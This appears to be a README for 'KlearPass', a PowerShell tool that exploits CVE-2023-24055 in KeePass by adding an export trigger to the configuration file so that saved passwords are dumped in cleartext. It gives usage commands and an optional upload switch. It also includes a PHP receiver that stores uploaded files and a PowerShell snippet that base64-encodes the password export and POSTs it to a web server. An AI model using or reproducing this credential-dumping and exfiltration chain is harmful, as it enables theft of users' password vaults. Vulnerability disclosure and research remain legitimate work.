![alt text](

## Disclaimer

This script is for educational and demonstration purposes only. The author does not endorse or condone the use of this script for any criminal or malicious activities and it should only be used where explicitly allowed with proper permission.

This script should be used with caution, as it will alter the KeePass configuration file and delete any previously configured triggers. Use of this script may result in unexpected behavior and potentially break the KeePass application. Use at your own risk.

## Introduction

This script demonstrates the ** DISPUTED ** vulnerability (CVE-2023-24055) of KeePass through version 2.53 (in a default installation) as it allows an attacker with write access to the XML configuration file to obtain the cleartext passwords by adding an export trigger. Note that the vendor's position is that the password database is not intended to be secure against an attacker who has that level of access to the local PC.


## Instructions

To use this script, run it in PowerShell and provide the necessary parameters. The mandatory parameters are:

- `-filename`: The full file path and name of the file for the passwords to be exported.

The optional parameters are:
- `-uploadURL`: This switch is used to specify that the data should be uploaded to the specified URL. 
- `-url`: The URL to which the data should be uploaded.

### Example Usage

Export cleartext passwords:

.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
Export cleartext passwords and upload export to web server:

.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL

Detailed help:
get-help .\KlearPass.ps1 -Detailed

### Example PHP script to upload file on webserver

if (!empty($_POST['filename']) && !empty($_POST['data'])) {
    $target_directory = '/var/www/html/KeePass/uploads/';
    $filename = $target_directory . $_POST['filename'];
    $data = base64_decode($_POST['data']);
    file_put_contents($filename, $data);

### Example PowerShell script to test PHP upload
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("", "filename=$file&data=$encodedFile");

## Credits

- Script initially based off code found in
- Idea of exfiltrating the export is credited to